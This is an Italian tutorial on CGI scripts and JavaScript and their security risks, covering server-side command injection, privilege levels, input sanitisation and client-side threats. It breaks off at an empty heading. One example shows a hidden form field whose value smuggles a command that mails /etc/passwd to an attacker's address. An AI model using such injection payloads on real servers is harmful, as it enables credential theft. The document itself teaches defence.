Introduzione

Durante la navigazione nel Web capita spesso di trovare nelle pagine contenuti interattivi che gli sviluppatori di pagine Web hanno creato utilizzando uno Script.
Per definire il funzionamento di questi Script possiamo discutere di vari concetti chiave:
Quando un utente invia una scheda, il suo contenuto è ricevuto da un programma che risiede sul server, il quale elabora i dati e crea dinamicamente un documento HTML da restituire all'utente. Questo programma non è altro che una scheda CGI (Common Gateway Interface) che può essere scritta con un qualsiasi linguaggio di programmazione come il C , C++ o Perl.
JavaScript è stato creato dalla Sun Microsystems in collaborazione con Netscape per venire incontro alle esigenze dei progettisti Web e programmatori che avevano bisogno di un linguaggio che poteva essere eseguito direttamente dal browser di navigazione. Pertanto dopo aver creato uno Script Java basta inserirlo nel file HTML. Poiché è eseguito sul client e non sul server, può essere dotato di interazioni in tempo reale, ad esempio immagini animate, calcolatrici interattive ed altro ancora.
Ci sono due potenziali pericoli quando si parla di Script. Nel primo caso un hacker potrebbe sfruttare uno Script per violare il server Web. Nel secondo l'attacco è rivolto verso l'utente, poiché uno Script potrebbe violare il computer che sta eseguendo la navigazione.
Svilupperemo questi due casi separatamente introducendo prima il funzionamento degli Script CGI, con  i problemi di sicurezza legati ad esso, poi ci occuperemo del secondo aspetto, descrivendo il linguaggio JavaScript ed i rispettivi problemi di sicurezza.

 


 

1. Script CGI


Uno Script CGI è un programma che risiede sul server (scritto in qualsiasi linguaggio di programmazione) che elabora l'input dell'utente e opzionalmente crea una risposta tramite un documento HTML che il server invia al browser.
L'utilità delle schede CGI è quella di effettuare delle operazioni su Data Base, e anche di semplificare le ricerche dell'utente raggruppando dinamicamente le informazioni.
Ad esempio, durante la navigazione sarà capitato a tutti di usare motori di ricerca (come Virgilio, Altavista, Yahoo) , o visitare siti Web che richiedono l'inserimento di dati personali per poi inviarli al server. In tutti questi casi lo Script delegato dal server elabora le informazioni e invia codice formattato HTML da far visualizzare al browser, come ad esempio la pagina contenente l'esito della ricerca, la conferma di successo per il servizio richiesto e altro.
Ci si potrebbe chiedere perché impiegare Script CGI poiché il server ha la possibilità di creare file di testo HTML. Sebbene non sia necessario utilizzare un linguaggio per Script per creare file HTML dinamici, tuttavia, senza di questi un programmatore sarebbe costretto ogni volta a modificare il programma server. Nel tempo, queste modifiche porterebbero a programmi server Web estremamente estesi. Per evitare di modificare il server, gli sviluppatori impiegano l'interfaccia CGI.
Tramite l'interfaccia CGI, il server può assegnare il compito di creare dinamicamente documenti Web ad un'applicazione creata in modo specifico per rispondere a determinate esigenze. Il programma può essere creato con un linguaggio di programmazione come JavaScript, Perl, C, C++, VBScript e molti altri.
Quando un browser comunica con un server, il programma esegue una transizione HTTP costituita da quattro passi, rappresentati nella figura qui di seguito insieme al posizionamento degli Script CGI:

Come si può vedere gli Script risiedono sul server, in cui le applicazioni possono comunicare direttamente fra loro.
Questa comunicazione diretta consente ad uno Script CGI di ricevere i dati dinamicamente e di passare i dati al server.
Quando un browser vuole prelevare dati prodotti da uno Script, esegue una transizione HTTP. Innanzitutto si connette e invia la sua richiesta, poi il server richiamerà lo Script, fornendogli tutti i dati passati dal client e i valori delle variabili d'ambiente. Lo Script, a sua volta, eseguirà tutta l'elaborazione dei dati e produrrà l'output richiesto. Dopo che il server ha ricevuto tutto l'output, aggiungerà, se necessario, ogni informazione di intestazione e invia tutto al browser e al termine chiuderà la connessione.
 
 
 


 
 

1.1   Realizzazione di Script CGI

Un server HTTP passa le informazioni ad uno Script CGI utilizzando gli argomenti della riga di comando e le variabili d'ambiente. Il server assegna un valore alle variabili d'ambiente nel momento in cui esegue uno Script. All'interno di uno Script è possibile trattare il valore di queste variabili come semplici stringhe. È opportuno vedere il significato di alcune variabili.

Ecco qui di seguito un esempio di invio di una scheda CGI con il metodo POST ed il suo risultato:
 
 


 
 

1.2  Le opzioni della riga di comando CGI

Gli Script accettano l'input dalle variabili di ambiente e dalla riga di comando. Le opzioni della riga di comando in genere chiedono allo Script di eseguire una ricerca interattiva. Questo permette di eseguire una query ISINDEX (che consente appunto di aggiungere ai siti Web le funzionalità di ricerca interattiva tramite parole chiave, da notare che non tutti i server supportano tale query).
Il browser invia la riga di comando (l'input) al server, il quale può determinare se il browser ha richiesto un metodo HTTP GET e se la stringa di ricerca URL è della forma uuencoded = caratteri.
Nel caso in cui si richiede un metodo GET e la stringa di ricerca URL non è della forma uuencoded = caratteri, allora si utilizza l'input dalla riga di comando. Quindi il server, prima di richiamare lo Script, utilizza il carattere "+" per dividere i parametri, poi li memorizza in una variabile chiamata argv.
Un'ulteriore decodifica è effettuata con il carattere "&" usato come separatore tra le singole stringhe. Poi il server suddivide ulteriormente le stringhe utilizzando il carattere "=" per separare il nome della variabile (a sinistra del segno di uguaglianza) dal proprio valore (a destra del segno di uguaglianza). Infine, si tiene conto del numero di parametri nella variabile interna chiamata argc.
Se il server trova il carattere "=" nella variabile d'ambiente QUERY_STRING, non invierà allo Script CGI l'input da riga di comando.
Inoltre, se per qualche motivo il programma server non può inviare allo Script CGI l'array argv, dovrà fornire allo Script le informazioni non decodificate all'interno della variabile d'ambiente QUERY_STRING.
 
 
 


 
 

1.3 Output CGI diretto verso un browser

Normalmente gli Script producono un output che poi il server interpreta e invia al browser. Il vantaggio di ciò deriva dal fatto che così facendo lo Script non è obbligato ad inviare un'intestazione HTTP completa per ogni richiesta. Altri Script invece, inviano il loro output direttamente al browser per evitare di sovraccaricare il server. In altre parole quando ciò avviene il server non interpreterà l'intestazione dello Script, ma sarà compito dello Script inviare al browser una risposta HTTP corretta. La distinzione tra i due tipi di Script è fatta dal protocollo CGI, il quale richiede che gli Script con output diretto inizino con le lettere nph- (Not to Parse the Header).
 
 
 


 
 

1.4  Le intestazioni CGI

L'output prodotto da uno Script CGI inizia con un'intestazione che è costituita da righe di testo nello stesso formato di un'intestazione HTTP e conclusa da una riga vuota (contenente solo il codice CR + LF).
Se uno Script CGI produce in output campi che non sono direttive per il server, questo invia tali campi direttamente al browser che ha eseguito la richiesta. Esistono tre specifiche CGI che sono delle direttive per il server: Content-type, Location e Status.

Content-type identifica il tipo e il sottotipo MIME dei dati che lo Script sta inviando al browser. Ad esempio se lo Script produce in output un documento HTML avremo Content-type:text/html.

Location serve per indicare al server che lo Script sta restituendo come output un riferimento ad un documento e non un vero documento. Ad esempio il valore del campo Location può essere un indirizzo URL remoto (es. Location:http://esempio.com/), ed in questo caso il server redirige il browser al sito corrispondente. Se l'argomento del campo Location è un percorso virtuale (il file si trova sullo stesso computer ) il server recupererà il documento inviandolo al browser.

Status contiene il valore di stato HTTP che il server invia al browser. In alcuni casi, in particolare al verificarsi di un errore, questi codici sono inviati direttamente dallo Script al browser Web.

Ecco un esempio che mostra un tipico esempio di output di uno Script CGI:
 

Content-type: text/html <! Inserire una riga vuota>
<HTML>
<HEAD>
<TITLE> Questo è un titolo </TITLE>
</HEAD>
<BODY>
Corpo generato dallo Script CGI
</BODY>
</HTML>

 

La riga vuota tra Content-type ed il tag iniziale <HTML> è necessaria in quanto se non si dovesse includere il server non sarebbe in grado di interpretare correttamente il documento.
Ecco il codice C per generare il documento precedente:
 

//Righe di codice
printf("Content-type: text/html \n");
printf("\n"); //Riga vuota
printf("<HTML> \n");
printf("<HEAD> \n");
printf("<TITLE> Questo è un titolo </TITLE> \n");
printf("</HEAD> \n");
printf("<BODY> \n");
printf("Questo è il corpo generato dallo Script CGI. \n");
printf("</BODY> \n");
printf("</HTML> \n");
//Altro codice

 
 

1.5  I linguaggi più utili per la creazione di Script CGI

Quando si creano Script CGI, si ha la possibilità di impiegare vari linguaggi di programmazione, sempre che tale linguaggio abbia la possibilità di leggere dal dispositivo in input standard e scrivere sul dispositivo di output standard.
Oltre ai linguaggi come C, C++, i programmatori impiegano frequentemente il linguaggio Perl (Pratical Extraction Report Language) che discuteremo in seguito e altri linguaggi come Visual BASIC, TCL, Fortran, JavaScript e i comandi delle shell UNIX.
 
 
 


 
 

1.6  Il linguaggio Perl

Perl è stato creato da Larry Wall nel 1986, ed è un linguaggio interpretato particolarmente adatto per applicazioni che prevedono l'elaborazione del testo.
Perl ha una struttura molto simile al C infatti, a prima vista, un programma Perl ha l'aspetto di un programma C. Sono presenti tutti gli operatori e la maggior parte delle strutture di controllo (es. if, for) anche se sono impiegate in una forma un pò diversa. In Perl mancano solo i puntatori, le strutture e la definizione di tipi.
Alcune funzionalità più utili sono:


 
 


 
 
 

1.6.1  Perl come un front-end per database

Un front-end per database è un programma che consente l'accesso ad un server di database. Questo programma elabora le richieste che l'utente effettua nei confronti di un database e genera le query necessarie per accedere ai dati.
Impiegando il Perl si riescono a creare semplici applicazioni per database, senza dover impiegare un server per database. Perl, infatti, è dotato di un metodo interno di mappaggio in un array associativo verso un file di un database. Ad esempio il codice seguente effettua una scansione in un file di tutti gli utenti registrati e stampa il cognome:
 

tie %h,'DB_File','inf_clienti',O_RDWR|O_CREAT,0640;
while (($cognome,$val)= each %h)
 {
    ($nome,$cognome,$citta,$riservatezza,$passwrd)= split (/#/,$val);
     print "Utente Registrato: $cognome \n";
 }
Il risultato è che l'accesso al database da uno Script è semplice quanto l'accesso agli elementi di un array associativo.
Per applicazioni avanzate, Perl può connettersi a database commerciali, ad esempio ORAPERL è una versione di Perl adattata per server di database Oracle.
 
 
 


 
 

1.6.2   Perl come gateway sicuro

Nella programmazione CGI, come in molti altri campi della programmazione, la sicurezza è un fattore importante. Spesso si devono proteggere i file e le altre risorse di sistema da utenti poco avveduti o poco onesti. Questo è particolarmente importante nel caso di server Web (e anche di altri server come ad esempio il server FTP) connessi ad Internet, dove opera un gran numero di hacker.
Un modo per difendere un sistema dagli attacchi consiste nel far passare tutti i dati attraverso un gateway. In questo modo nel sistema potranno entrare solo i dati che il programma gateway considera sicuri.
Tradizionalmente, molti server per Internet sono eseguiti sotto UNIX e sono stati realizzati in C. Anche se il linguaggio C è estremamente efficiente, un errore nell'uso dei puntatori può portare ad errori del programma che, a loro volta possono provocare dei problemi di sicurezza.
Un vantaggio di Perl nella realizzazione di gateway sicuri è il fatto che le variabili di tipo stringa possono crescere automaticamente, e che un programma non può scrivere una variabile in modo che provochi un'alterazione di un'altra variabile.
Esiste anche una particolare versione di Perl chiamata TAINPERL, che controlla le dipendenze dei dati e impedisce ai comandi di sistema di passare al server dati provenienti da fonti non fidate. Inoltre segnala tutti i valori della riga di comando, delle variabili di ambiente come TAINED (contaminati) e annulla la trasmissione con un errore fatale nel caso in cui un comando di sistema riceva un valore "contaminato".
 


 
 
 

2.   I Problemi di  Sicurezza degli Script CGI

Dopo aver introdotto le basi della creazione degli Script CGI, è arrivato il momento di considerare alcuni aspetti di sicurezza.
Quando si inviano alla shell (tramite un programma CGI) i dati forniti dall'utente, gli autori di Script più attenti al problema della sicurezza si preoccupano di eliminare alcuni meta-caratteri della shell per evitare che questa possa interpretarli ed eseguire determinati comandi.
Riportiamo alcune regole da considerare quando si crea uno Script CGI:

; < > * | ? & $ ! # ( ) [ ] { } : "' /
 


 
 

2.1   Lo Script mal realizzato espone a gravi problemi di sicurezza

Nel caso in cui un hacker riesca a violare uno Script CGI, a seconda della natura e della posizione dello Script, l'hacker potrà eseguire le seguenti operazioni:

  1. Inviarsi via posta elettronica il file delle password (sempre che non sia stato creato un file di password ombra) dando all'hacher la possibilità di decodificare e violare comodamente il file senza essere costretto a lunghe sedute on-line con il rischio di essere individuato.

  2.  
  3. Inviarsi tramite un messaggio di posta elettronica una mappa del file system attaccato; in questo modo l'hacker potrà avere un gran numero di informazioni da analizzare tranquillamente off-line.

  4.  
  5. Inviarsi via posta elettronica le informazioni di sistema tratte dalla directory /etc.

  6.  
  7. Iniziare un login sul server su una porta alta e attivare una sessione Telnet.

  8.  
  9. Iniziare un attacco Denial of Service (interruzione del servizio) utilizzando comandi che impegnano notevolmente il file system o le risorse di sistema

  10.  
  11. Modificare o cancellare i registri conservati sul server.

 


 
 

2.2   Livelli di accesso al server Web

Uno dei più gravi problemi che gli hacker possono sfruttare quando eseguono un attacco tramite uno Script CGI, riguarda un sito in cui il server Web è in esecuzione per l'utente root su un computer server, dando così un accesso illimitato al computer.
Dunque per ovviare a ciò, si deve avviare il server come utente root in modo che si colleghi alla porta 80 (la porta di connessione HTTP) , il server dovrebbe richiamare il comando SETUID e cambiare il livello di privilegio del server Web in " nobody " o in un account simile dotato di privilegi generici (a seconda del server Web utilizzato, il file di configurazione del server dovrebbe consentire di specificare l'utente sotto il quale sarà eseguito il server, normalmente si impiega l'utente " nobody ", un account generico senza particolari privilegi).Si potrebbe considerare la possibilità di eseguire il server con un codice utente e un'identificazione di gruppo specifica per il server Web, ad esempio WebServerUser e WebServerGroup. Questo evita che un programma che funzioni come "nobody " possa interferire con i file di proprietà del server.
Per eseguire gli Script sotto l'identificazione del proprietario dello Script è utilizzato un programma chiamato CGIWRAP. Anche se questo programma è in grado di risolvere alcuni problemi degli Script CGI, aumenta anche l'effetto dei problemi di sicurezza. Infatti se un hacker riuscisse a eseguire comandi sotto l'identità dell'utente, riuscirà a ottenere un accesso praticamente illimitato.
 
 


 
 

2.3  Alcuni esempi dei problemi di sicurezza degli Script CGI

Per rendere sicuri gli Script CGI è opportuno prendere ogni precauzione per proteggersi contro i dati di input. Gli hacker sono soliti inviare dati particolari allo Script in modo da sfruttare vari problemi di sicurezza. Si consideri il seguente esempio:
L'utente Bob vuole che i visitatori possano inviare un messaggio di posta elettronica da una pagina Web. L'utente ha vari indirizzi di posta e dunque inserisce nella pagina Web un elemento che specifica l'indirizzo a cui inviare il messaggio in modo da poter cambiare con facilità l'indirizzo senza dover modificare lo Script.

<INPUT TYPE="hidden" NAME="bob_address" VALUE=Bob@esempio.com ">

E'possibile osservare che l'utente Bob ha inserito i dati contenenti l'indirizzo a cui il sistema deve inviare la posta in un file temporaneo (chiamato input_file) e ha passato l'elemento bob_address in una variabile.
In Perl Bob legge l'indirizzo di posta elettronica con la seguente istruzione (eseguendola nel momento in cui il visitatore fa clic sul link di invio del messaggio)

system("/usr/lib/sendmail -t $bob_address < $input_file");

In C++, Bob leggerebbe l'indirizzo con la seguente istruzione

system("/usr/lib/sendmail -t +bob_address+ "< " +InputFile");

In entrambi i casi, il sistema crea una nuova shell con una fork. L'utente Bob suppone erroneamente che gli utenti richiameranno lo Script solo con la sua scheda di posta elettronica in modo che l'indirizzo di posta derivi sempre dalla variabile.
Sfortunatamente, gli hacker possono copiare la scheda sulla propria macchina e modificarla, ad esempio :

<INPUT TYPE="hidden" NAME="bob_address" VALUE="Bob@esempio.com;mail hacker@hacker.com
< /etc/passwd ">

A questo punto l'hacker può inviare alla macchina di Bob una scheda modificata e ricevere da essa il file delle password.
 
 
 


 
 

2.4   Creazione di nuove shell con una fork

In particolare si è visto come un hacher può utilizzare i comandi di sistema per creare una nuova shell. Per creare una nuova shell l'utente esegue una fork, in particolare UNIX crea una shell e uno spazio riservato nel sistema operativo, per ogni utente che si collega al server. Quando un utente chiede a UNIX di eseguire una fork della shell, UNIX crea un'altra copia della shell che è eseguita insieme alla prima.
Questa operazione spesso dà all'hacker la possibilità di violare il sistema.
Dunque è importante evitare di realizzare Script che consentono agli utenti di creare una nuova shell.
Sfortunatamente, esistono vari comandi in grado di eseguire la fork della shell.
In Perl è possibile creare una shell aprendo una pipe, utilizzando "backticks" o, in alcuni casi richiamando "exec", ad esempio alcune possibilità sono:
 

open(OUT,"lprogram $args");     - Apertura di una pipe .
'program $args';                           - Backtick (l'apice inverso o accento  serve a
                                                        racchiudere un comando che verrà eseguito
                                                        aprendo un processo figlio dall'interprete Perl.
exec("program","w")                 - Exec nel programma .
E' possibile aprire una shell in Perl anche con l'istruzione "eval" o il modificatore "/e" delle espressioni regolari. In C/C++ anche l'istruzione "popen" può avviare una shell
 
popen("programma","w");

 
 


 
 

2.5   Rendere sicuri gli Script CGI

In generale vi sono due soluzioni per rendere sicuri gli Script CGI che consistono nell'impiegare unicamente dati che non possono dare problemi all'installazione o controllare i dati dopo la ricezione per assicurarsi che possono essere utilizzati con sicurezza.
Ad esempio, Bob avrebbe potuto trasmettere il proprio indirizzo di posta elettronica evitando di impiegare la shell, utilizzando i seguenti comandi:
 

open(MAIL,"|/usr/lib/sendmail -t");
print MAIL "To:$recipient\n";


In questo caso il computer non passa più dati non fidati alla shell ma a sendmail.
Utilizzando quest'ultimo esempio evitiamo i problemi della shell aggiungendone però al programma sendmail eseguito esternamente.
Poiché il programma è eseguito esternamente può ricevere i dati di qualsiasi tipo, occorre assicurarsi che l'hacker non possa ingannare il programma impiegando dati inattesi.
Ad esempio se si usa mail anziché sendmail, il programma può, in alcune versioni di UNIX, accettare una sequenza di escape per eseguire dei comandi. Occorre verificare la documentazione di ogni programma a cui si passano dati non controllati. E' possibile utilizzare le chiamate Perl "system" ed "exec" senza richiamare la shell specificando nella chiamata più di un argomento:
 

system('/usr/games/fortune','-o');


Inoltre si può ottenere un effetto simile alla "popen" utilizzando "open" ma in questo modo non verrà richiamata la shell:
 

open(FH,'|-') || exec("program",$arg1,$arg2);


Alternativamente, per evitare alcuni attacchi degli hacker è possibile utilizzare codice simile al seguente che non accetta informazioni contenenti dati non sicuri, specificando cosa è proibito:

   Riportiamo qui di seguito un'istanza del codice Perl:

 
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'};      # accetta i dati da QUERY_STRING
 print "$user_data\n";
 $user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g;  # sostituisce i caratteri pericolosi con "_". SCONSIGLIATO!
 print "$user_data\n";
 exit(0);


   In C:

 
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 int main(int argc, char *argv[], char **envp)
    {
       static char bad_chars[] = "/ ;[]<>&\t";   /* caratteri pericolosi*/

      char * user_data;   /* puntatore alla QUERY_STRING */
      char * cp;             /* puntatore che scandisce l'input */

      /* ricezione input */
     user_data = getenv("QUERY_STRING");
     printf("%s\n", user_data);

     /* sostituzione dei caratteri pericolosi con "_". SCONSIGLIATO! */
     for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
        *cp = '_';
     printf("%s\n", user_data);
     exit(0);
   }

Tuttavia questo approccio è sconsigliato poichè così facendo il programmatore è costretto a predire tutti i possibili input, in questo modo c'è la possibilità che lo Script possa essere usato non nella maniera intesa dal programmatore.
Un metodo alternativo è quello di specificare cosa è consentito:

    Esempio di codice in Perl:

 #!/usr/local/bin/perl
 $_ = $user_data = $ENV{'QUERY_STRING'};  # accetta i dati da QUERY_STRING
 print "$user_data\n";
 $OK_CHARS='-a-zA-Z0-9_.@';      # una lista restrittiva dei dati leciti
s/[^$OK_CHARS]/_/go;                    # sostiuisce i caratteri non leciti con "_"
 $user_data = $_;
 print "$user_data\n";
 exit(0);
    Esempio di codice in C:
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 int main(int argc, char *argv[], char **envp)
{
 static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\  /* lista dei caratteri leciti */
 ABCDEFGHIJKLMNOPQRSTUVWXYZ\
 1234567890_-.@";

 char * user_data;   /* puntatore alla QUERY_STRING */
 char * cp;             /* puntatore che scandisce l'input */

 user_data = getenv("QUERY_STRING");
 printf("%s\n", user_data);
 for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
        *cp = '_';                                     /* sostiuisce i caratteri non leciti con _ */
 printf("%s\n", user_data);
 exit(0);
 }


In questa maniera il programmatore sostituisce tutti i caratteri che non ha specificato e che ritiene quindi non sicuri con "_", quindi sarà certo di qualunque sequenza restituita. Se si desiderano maggiori chiarimenti consultare l'URL http://www.cert.org/tech_tips/cgi_metacharacters.html [2].
 
 
 


 
 

2.6   Regole generali relative agli Script Perl

Quando si realizzano Script per le pagine Web in Perl è opportuno tenere in considerazione alcune regole fondamentali.

        eval 'echo $QUERY_STRING | awk ?BEGIN{RS = "&"} {printf "QS_%s\n",$1}? '
 
 


 
 

2.7   Gli avvertimenti di vulnerabilità del CERT

Gli Script CGI possono provocare danni sia al server che al browser. A causa delle attività relative alla vulnerabilità dello Script nph-test.cgi, lo staff del centro di coordinamento del CERT raccomanda di controllare la directory cgi-bin.
Un punto debole dello Script nph.test.cgi incluso in alcuni daemon HTTP consente a un client Web di leggere un elenco di file che l'utente non sarebbe autorizzato a leggere. Questo particolare Script ha lo scopo di visualizzare informazioni riguardanti l'ambiente del server Web ma analizza le richieste con troppa superficialità pertanto consente a chiunque di visualizzare un elenco di file contenuti nel server Web. E in questo senso un hacker potrebbe sfruttare questo Script, pertanto il team CERT consiglia di rimuovere tale Script dal sistema.
È necessario sottolineare che per avere accesso a questo Script, e quindi alla lista di file, non è necessario avere accesso a un account del sistema.
 
 
 


 
 

2.8   La soluzione al punto debole degli Script CGI

La soluzione più immediata è la rimozione di nph-test.cgi dal sistema, o in alternativa rimuovere il suo permesso di esecuzione. Il daemon HTTPD può essere eseguito anche senza tale Script. Occorre considerare che un server Web può impiegare più directory cgi-bin e dunque non basta controllare una sola directory. Ad esempio, nel server HTTPD NCSA, è possibile specificare directory alternative per gli Script utilizzando la direttiva ScriptAlias nel file srm.conf, sempre che l'impiego di tale direttiva sia prevista. Ed in questo caso è necessario rimuovere nph-test.cgi oppure applicare ad ogni directory cgi-bin la soluzione descritta nel prossimo paragrafo.
Se si deve continuare ad utilizzare lo Script nph-test.cgi, occorre ricercare le righe di codice che visualizzano le variabili e assicurarsi che siano quotate. Ad esempio, si deve trasformare la riga seguente:
 

echo QUERY_STRING = $QUERY_STRING           '        VECCHIO


nel modo seguente:
 

echo QUERY_STRING = "$QUERY_STRING."        '        NUOVO


Quando si lavora con gli Script CGI, è opportuno consultare regolarmente il sito http://www.cert.gov/ per conoscere il più rapidamente possibile i punti deboli che possono essere sfruttati dagli hacker.
 
 
 


 
 

3.   Il linguaggio JavaScript

Uno dei linguaggi più usati per la realizzazione degli Script è JavaScript sviluppato dalla Sun Microsystems e Netscape come evoluzione del linguaggio LiveScript, creato dalla Netscape. Consente la realizzazione dei siti Web animati contenenti grafica, finestre di dialogo e altro ancora. Il vantaggio di tale linguaggio di programmazione, rispetto a Java e J++, è l'inutilità del compilatore. Infatti per eseguire uno JavaScript basta un browser.Poiché un programma sì fatto viene eseguito sul client (ovvero all'interno del browser) e non sul server, può essere dotato di interazioni in tempo reale.
Per provare JavaScript basta creare un file HTML con un qualsiasi editor di testo e aggiungervi istruzioni JavaScript, il browser provvederà alla loro esecuzione.
Qui di seguito è riportato un esempio di file HTML contenente varie istruzioni JavaScript:

<HTML>
<HEAD><TITLE> JavaScript Demo </TITLE></HEAD>
<BODY >
<SCRIPT LANGUAGE = "JavaScript">
<!-- Hide the JavaScript
document.write("Prova<BR>");
document.write("Titolo<BR>");
document.write("Hello, JavaScript!<BR>");
//Stop hiding the code-->
</SCRIPT></BODY></HTML>
Nell'esempio precedente lo Script, delimitato dai tag <SCRIPT> e </SCRIPT>, utilizza la funzione document.write per inviare messaggi al browser e il tag <BR> per produrre una sequenza CR+LF.
L'unico problema per JavaScript è che non tutti i browser lo supportano, cosa che invece avviene per Netscape Navigator e Microsoft Internet Explorer utilizzati dalla maggioranza degli utenti.
 
 


 
 

3.1   Come utilizzare i commenti HTML per disabilitare la visualizzazione dei comandi JavaScript

I commenti HTML hanno il seguente aspetto:

 
<!-- Questo è un commento
<!-- Fine del commento -->
In un tag <SCRIPT>, i progettisti circondano le istruzioni JavaScript utilizzando un commento HTML,
come segue nell'esempio:
 
<SCRIPT >
<!-- Inizio del commento, non terminare il commento qui
 Istruzioni JavaScript
<!-- Fine del commento -- >
</SCRIPT>


Se si esaminano attentamente le istruzioni HTML, si troverà che il primo commento non termina sulla stessa linea (non ha i caratteri "--" finali). In un documento HTML è consentito utilizzare questo formato. Poiché il browser legge le istruzioni come commenti, i progettisti di pagine WEB inseriscono le istruzioni JavaScript in un commento HTML in modo che i browser che non supportano il linguaggio JavaScript possano ignorare tali istruzioni.
 


 
 

3.2   Tag <SCRIPT>

Il tag <SCRIPT> consente di specificare l'indirizzo URL di uno Script JavaScript oppure di inserire le istruzioni direttamente nel codice HTML. Ad esempio, la riga seguente descrive l'indirizzo URL di un documento JavaScript:
 

<SCRIPT LANGUAGE="JavaScript" SRC="http:\www.esempio.com\unoscript.js"> </SCRIPT>
In questo modo il tag <SCRIPT> consente di specificare direttamente le istruzioni JavaScript:
 
<SCRIPT LANGUAGE="JavaScript">
<!-- Nasconde il codice JavaScript
document.write("Hello, JavaScript<BR>");
// Smette di nascondere il codice --
</SCRIPT></BODY></HTML>

 
 

3.3   Le stringhe in JavaScript
 

Una stringa di caratteri può contenere zero o più caratteri ASCII. In uno Script JavaScript è possibile racchiudere le stringhe fra simboli o doppi apici. Ad esempio, le due stringhe seguenti sono identiche:
 

Unastringa = 'Hello, World';
Altrastringa = "Hello, World";
Per unire due stringhe si può usare l'operatore " + " :
 
Messaggio = 'Hello' + "World";
In una stringa di caratteri JavaScript è possibile includere sequenze di escape come ad esempio i caratteri "\n" (fine riga), "\t" (tabulazione), "\f" (Form Feed) e così via. Alcune implementazioni di JavaScript consentono anche di utilizzare stringhe di caratteri per accedere al disco fisso durante la navigazione nel Web.
 
 
 


 
 

3.4   Come produrre un semplice output con uno Script JavaScript
 

In un documento HTML è possibile utilizzare insieme elementi visualizzati dal linguaggio HTML ed elementi visualizzati da JavaScript. Per visualizzare l'output con JavaScript, il documento deve utilizzare il metodo write dell'oggetto del documento, come nel seguente esempio:

 
<HTML>
<HEAD><TITLE>SimpleOut</TITLE></HEAD>
<BODY>
This is the HTML text
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide the JavaScript
document.write("...Followed by JavaScript Text<BR>");
// Stop hiding the code -->
</SCRIPT>
and this is final text
</BODY></HTML>
Se si prova a visualizzare queste istruzioni con Netscape Navigator, si ottiene un risultato simile a quello rappresentato  di seguito:
 
"This is HTML text ...Followed by JavaScript Text
and this is final text"
In JavaScript, l'oggetto document corrisponde al documento HTML corrente. Se uno Script visualizza l'output impiegando il metodo document.write, il browser visualizzerà l'output nel documento corrente.
 
 
 


 
 

3.5   Creazione di semplici finestre di messaggi
 

Utilizzando i metodi write e writeln dell'oggetto JavaScript document, uno Script può produrre in output del testo nel documento HTML. A seconda delle esigenze dello Script, possono esservi situazioni in cui si vuole visualizzare del testo all'interno di una finestra di dialogo. In questo caso si deve utilizzare la funzione alert. Il seguente codice impiega la funzione alert per visualizzare in una finestra di dialogo il messaggio "Hello, JavaScript" e si può vedere il risultato alla pagina Alert.htm
 

 
<HTML>
<HEAD><TITLE>JSUseTags</TITLE></HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide the JavaScript
alert("\nHello, JavaScript");
//Stop hiding the code -->
</SCRIPT>
</BODY></HTML>


Le finestre dei messaggi sono soggette a degli attacchi degli hacker, i quali possono utilizzarle per attacchi a interruzione del servizio ma anche, ad esempio, per simulare una finestra di dialogo di salvataggio.
 
 


 
 

3.6   Le variabili JavaScript
 

Nelle istruzioni JavaScript, lo Script conserva le informazioni all'interno di variabili. A differenza di altri linguaggi di programmazione come C o C++, nei quali si deve specificare il tipo della variabile (int, float, char e così via) nel caso di JavaScript non si deve specificare il tipo delle variabili. Sarà il browser a determinare il tipo della variabile sulla base del suo uso. I nomi di variabili JavaScript devono iniziare con una lettera o con il carattere di sottolineatura "_". Inoltre JavaScript distingue fra lettere maiuscole e minuscole. Per dichiarare una variabile in uno Script si deve specificare il nome della variabile seguita dalla parola riservata var. Ad esempio le seguenti istruzioni dichiarano alcune variabili:
 

var TitoloTesina,NumeroCapitolo;
var Corso;
var x,y,z;
Durante la dichiarazione di una variabile è possibile utilizzare l'operatore di assegnamento "=" per inizializzare le variabili :
 
var TitoloTesina="Script Ostili",NumeroCapitolo="3";
var Corso="Sicurezza su reti ";
var x=1,y=2,z=3;
Come si vedrà, JavaScript consente anche di definire oggetti. Per aiutare a manipolare le stringhe di caratteri in uno Script, JavaScript fornisce l'oggetto String.
Come Java, anche JavaScript può leggere determinate proprietà del sistema. Ma a differenza di Java, JavaScript non può aprire un socket diretto anche se questo torna all'host di origine.
Tuttavia grazie alla funzionalità di salvataggio dei file, uno Script JavaScript può potenzialmente scrivere tali proprietà su un file temporaneo, salvare un file batch contenente i comandi di invio al socket e aprire una nuova connessione per trasmettere tali informazioni a un hacker.
 
 
 


 
 

3.7 Come leggere l'input dell'utente
 

Gli Script CGI possono essere usati anche per creare schede di input che richiedono informazioni all'utente. A seconda delle esigenze dello Script, possono esservi casi in cui si richiede una semplice riga di testo. In questi casi lo Script può visualizzare una finestra di dialogo che richiede un input all'utente e quindi restituisce il testo immesso.
Il seguente esempio illustra l'uso della funzione prompt :
 
 

<HTML>
<HEAD><TITLE>Prompt</TITLE></HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!-- Nasconde il codice JavaScript
var nome,anni;
nome =prompt("Immettere il nome:","");
anni   =prompt("Immettere l'età:","");
document.write("<H3Nome: " +nome+ "</H3>");
document.write("<H3Età: " +anni+ "</H3>");
// Smette di nascondere il codice -->
</SCRIPT></BODY >
</HTML>
Se si visualizza il file HTML prompt.htm che contiene questo codice, verrà visualizzata una finestra di dialogo per ogni chiamata alla funzione prompt. Il secondo parametro della funzione prompt specifica il valore predefinito. A differenza degli Script CGI , i rischi legati alle schede JavaScript sono inferiori per il server e superiori per l'utente. Ad esempio, si supponga che una scheda JavaScript richieda il nome dell'utente ed altre informazioni di supporto. L'utente completa i campi visibili della scheda e fa clic sul pulsante di invio. Tuttavia, la pagina dell'hacker ha nel frattempo ottenuto alcune informazioni relative al computer dell'utente e ha inserito tali informazioni in un campo nascosto. Quando l'utente invia tali informazioni, l'hacker riceverà anche le informazioni "rubate".
 
 
 
 


 
 

3.8   Le funzioni JavaScript
 

